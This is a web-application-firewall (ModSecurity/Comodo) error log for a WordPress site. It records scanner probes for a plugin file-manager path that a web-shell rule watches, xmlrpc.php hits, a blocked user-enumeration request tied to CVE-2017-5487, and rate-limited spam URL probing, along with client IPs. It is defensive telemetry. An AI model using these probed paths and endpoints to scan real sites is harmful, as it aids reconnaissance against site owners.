[Thu Feb 05 23:11:44.247760 2026] [:error] [pid 33396:tid 33406] [client 223.15.245.170:52114] [client 223.15.245.170] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYSzMPTgp_Ev6LiSSgDrFQAAAMM"]
[Fri Feb 06 00:00:18.037859 2026] [:error] [pid 19213:tid 19218] [client 136.109.154.237:41376] [client 136.109.154.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.109.154.237, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYS-kl7WBXhXgHKWAICJWgAAAcE"]
[Fri Feb 06 00:28:36.858455 2026] [:error] [pid 11459:tid 11527] [client 162.250.99.9:36126] [client 162.250.99.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.250.99.9, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYTFNJn3t_QGiBnEMgP4uQAAAFA"]
[Fri Feb 06 00:37:36.257906 2026] [:error] [pid 64116:tid 64138] [client 20.220.62.160:27723] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aYTHULq-pUXYJUX2oz_pkwAAAM8"]
[Fri Feb 06 00:37:36.668180 2026] [:error] [pid 11123:tid 11207] [client 20.220.62.160:27747] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aYTHUKJk7pHfPArl4eWdkAAAARc"]
[Fri Feb 06 00:37:37.078056 2026] [:error] [pid 64116:tid 64123] [client 20.220.62.160:27728] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aYTHUbq-pUXYJUX2oz_plgAAAMA"]
[Fri Feb 06 00:37:37.489745 2026] [:error] [pid 64116:tid 64133] [client 20.220.62.160:27742] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aYTHUbq-pUXYJUX2oz_plwAAAMo"]
[Fri Feb 06 02:11:04.677870 2026] [:error] [pid 64116:tid 64125] [client 20.220.62.160:57006] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aYTdOLq-pUXYJUX2oz8UEgAAAMI"]
[Fri Feb 06 02:11:09.171757 2026] [:error] [pid 11123:tid 11202] [client 20.220.62.160:56969] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aYTdPaJk7pHfPArl4eW49QAAARI"]
[Fri Feb 06 02:11:10.835310 2026] [:error] [pid 11123:tid 11194] [client 20.220.62.160:57060] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aYTdPqJk7pHfPArl4eW4-QAAAQo"]
[Fri Feb 06 02:11:12.207542 2026] [:error] [pid 11122:tid 11178] [client 20.220.62.160:57054] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aYTdQD0RBzI4cnzjYXK9igAAAJU"]
[Fri Feb 06 04:38:49.322992 2026] [:error] [pid 1773:tid 1795] [client 34.173.221.127:58406] [client 34.173.221.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.173.221.127, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYT_2TYbySBHYmKOdJ-U7wAAAMw"]
[Fri Feb 06 04:38:52.570062 2026] [:error] [pid 34582:tid 34605] [client 129.226.82.190:52384] [client 129.226.82.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 129.226.82.190, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYT_3ODeJq1JGssYG6xbcgAAARQ"]
[Fri Feb 06 04:39:12.255727 2026] [:error] [pid 1664:tid 1711] [client 20.57.128.168:37560] [client 20.57.128.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.57.128.168, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYT_8O_0lM6yA3VnvQVhHgAAAEs"]
[Fri Feb 06 04:39:23.673697 2026] [:error] [pid 1664:tid 1706] [client 47.113.225.5:58706] [client 47.113.225.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.113.225.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYT_--_0lM6yA3VnvQVhNAAAAEY"]
[Fri Feb 06 04:39:26.638600 2026] [:error] [pid 1663:tid 1673] [client 57.128.2.15:58373] [client 57.128.2.15] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 57.128.2.15, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYT__l9EQrJaKkABjK-LyQAAAAA"]
[Fri Feb 06 04:39:35.063505 2026] [:error] [pid 34582:tid 34585] [client 203.189.235.159:55946] [client 203.189.235.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.189.235.159, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYUAB-DeJq1JGssYG6xb0AAAAQA"]
[Fri Feb 06 04:39:47.146151 2026] [:error] [pid 1664:tid 1700] [client 162.0.235.223:37468] [client 162.0.235.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.0.235.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYUAE-_0lM6yA3VnvQVhTgAAAEA"]
[Fri Feb 06 05:02:29.216104 2026] [:error] [pid 1663:tid 1694] [client 74.208.194.58:55808] [client 74.208.194.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.208.194.58, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYUFZV9EQrJaKkABjK-RPwAAABU"]
[Fri Feb 06 05:37:59.138005 2026] [:error] [pid 1773:tid 1803] [client 110.166.71.39:34299] [client 110.166.71.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aYUNtzYbySBHYmKOdJ-obAAAANQ"]
[Fri Feb 06 08:14:20.930099 2026] [:error] [pid 1663:tid 1696] [client 47.251.116.156:59260] [client 47.251.116.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.251.116.156, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYUyXF9EQrJaKkABjK8EQQAAABc"]
[Fri Feb 06 08:14:30.137474 2026] [:error] [pid 1663:tid 1692] [client 152.69.216.173:27064] [client 152.69.216.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.69.216.173, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYUyZl9EQrJaKkABjK8ESwAAABM"]
[Fri Feb 06 08:14:33.651704 2026] [:error] [pid 13650:tid 13662] [client 47.251.71.191:53444] [client 47.251.71.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.251.71.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYUyaRoU-_lpgnGeX7WfDQAAAUo"]
[Fri Feb 06 08:14:37.048609 2026] [:error] [pid 1773:tid 1803] [client 212.154.75.77:55540] [client 212.154.75.77] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.154.75.77, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYUybTYbySBHYmKOdJ8g7gAAANQ"]
[Fri Feb 06 08:14:50.156298 2026] [:error] [pid 1665:tid 1746] [client 27.118.26.5:50708] [client 27.118.26.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.118.26.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYUyejYZLE6gThXvZMr-FQAAAJM"]
[Fri Feb 06 08:33:59.948036 2026] [:error] [pid 1664:tid 1704] [client 194.164.168.219:52892] [client 194.164.168.219] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.164.168.219, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYU29-_0lM6yA3VnvQXlRAAAAEQ"]
[Fri Feb 06 09:49:26.204865 2026] [:error] [pid 3380:tid 3387] [client 213.152.162.149:47882] [client 213.152.162.149] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aYVIphFAlUvBGSBK2jc9KQAAAAM"], referer: https://www.google.com
[Fri Feb 06 11:30:08.441129 2026] [:error] [pid 3477:tid 3485] [client 54.38.245.207:46956] [client 54.38.245.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.245.207, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYVgQLL0Hdh40C7HYgWZfQAAAMY"]
[Fri Feb 06 11:52:08.738338 2026] [:error] [pid 3381:tid 3429] [client 175.6.217.4:56339] [client 175.6.217.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYVlaC81zqRg96ZREgilugAAAFA"]
[Fri Feb 06 12:43:27.638406 2026] [:error] [pid 3381:tid 3422] [client 188.34.181.211:35600] [client 188.34.181.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.34.181.211, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYVxby81zqRg96ZREgi4pQAAAEk"]
[Fri Feb 06 12:43:40.226564 2026] [:error] [pid 3380:tid 3406] [client 185.73.130.137:52810] [client 185.73.130.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.73.130.137, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYVxfBFAlUvBGSBK2jeO3wAAABY"]
[Fri Feb 06 12:44:04.428221 2026] [:error] [pid 3381:tid 3437] [client 122.117.102.125:35860] [client 122.117.102.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.117.102.125, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYVxlC81zqRg96ZREgi4yAAAAFg"]
[Fri Feb 06 12:44:14.592388 2026] [:error] [pid 3382:tid 3448] [client 198.54.114.124:56266] [client 198.54.114.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.54.114.124, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYVxnsIgU1HR0rhYrE-VtgAAAIg"]
[Fri Feb 06 12:44:33.881331 2026] [:error] [pid 3381:tid 3429] [client 83.223.106.35:36356] [client 83.223.106.35] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.223.106.35, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYVxsS81zqRg96ZREgi5AwAAAFA"]
[Fri Feb 06 12:45:03.044270 2026] [:error] [pid 3513:tid 3520] [client 103.143.231.246:52210] [client 103.143.231.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.143.231.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYVxzzSw3-HAlzpqSxwf9AAAAUU"]
[Fri Feb 06 13:02:57.809602 2026] [:error] [pid 3381:tid 3428] [client 51.68.235.235:39774] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aYV2AS81zqRg96ZREgjGOwAAAE8"]
[Fri Feb 06 13:03:00.358883 2026] [:error] [pid 3513:tid 3529] [client 51.68.235.235:54716] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aYV2BDSw3-HAlzpqSxwtlwAAAU4"]
[Fri Feb 06 13:03:02.864902 2026] [:error] [pid 3381:tid 3423] [client 51.68.235.235:54730] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aYV2Bi81zqRg96ZREgjGQAAAAEo"]
[Fri Feb 06 13:03:06.100197 2026] [:error] [pid 3380:tid 3405] [client 51.68.235.235:58476] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aYV2ChFAlUvBGSBK2jekFQAAABU"]
[Fri Feb 06 13:03:08.632641 2026] [:error] [pid 3381:tid 3416] [client 51.68.235.235:58484] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aYV2DC81zqRg96ZREgjGSgAAAEM"]
[Fri Feb 06 13:03:10.981760 2026] [:error] [pid 3513:tid 3525] [client 51.68.235.235:58486] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aYV2DjSw3-HAlzpqSxwtqwAAAUo"]
[Fri Feb 06 13:03:13.416005 2026] [:error] [pid 3513:tid 3519] [client 51.68.235.235:58498] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aYV2ETSw3-HAlzpqSxwttwAAAUQ"]
[Fri Feb 06 13:03:15.621733 2026] [:error] [pid 3513:tid 3520] [client 51.68.235.235:42632] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aYV2EzSw3-HAlzpqSxwtvgAAAUU"]
[Fri Feb 06 13:03:18.698439 2026] [:error] [pid 3381:tid 3431] [client 51.68.235.235:42646] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aYV2Fi81zqRg96ZREgjGYwAAAFI"]
[Fri Feb 06 13:03:21.618614 2026] [:error] [pid 3381:tid 3418] [client 51.68.235.235:42652] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aYV2GS81zqRg96ZREgjGZgAAAEU"]
[Fri Feb 06 13:03:23.737903 2026] [:error] [pid 3381:tid 3437] [client 51.68.235.235:42660] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aYV2Gy81zqRg96ZREgjGbQAAAFg"]
[Fri Feb 06 13:03:25.797390 2026] [:error] [pid 3477:tid 3490] [client 51.68.235.235:33746] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aYV2HbL0Hdh40C7HYgXF9QAAAMs"]
[Fri Feb 06 13:03:28.646559 2026] [:error] [pid 3381:tid 3414] [client 51.68.235.235:33756] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aYV2IC81zqRg96ZREgjGfQAAAEE"]
[Fri Feb 06 13:03:30.729125 2026] [:error] [pid 3477:tid 3497] [client 51.68.235.235:33762] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aYV2IrL0Hdh40C7HYgXF_AAAANI"]
[Fri Feb 06 13:03:32.949034 2026] [:error] [pid 3382:tid 3449] [client 51.68.235.235:33778] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aYV2JMIgU1HR0rhYrE-h3AAAAIk"]
[Fri Feb 06 13:03:35.085612 2026] [:error] [pid 3380:tid 3394] [client 51.68.235.235:33782] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aYV2JxFAlUvBGSBK2jekqAAAAAo"]
[Fri Feb 06 13:03:37.388794 2026] [:error] [pid 3381:tid 3433] [client 51.68.235.235:40696] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aYV2KS81zqRg96ZREgjGkAAAAFQ"]
[Fri Feb 06 13:03:39.361778 2026] [:error] [pid 3513:tid 3536] [client 51.68.235.235:40712] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aYV2KzSw3-HAlzpqSxwt_AAAAVU"]
[Fri Feb 06 13:03:41.668381 2026] [:error] [pid 3381:tid 3429] [client 51.68.235.235:40720] [client 51.68.235.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aYV2LS81zqRg96ZREgjGmAAAAFA"]
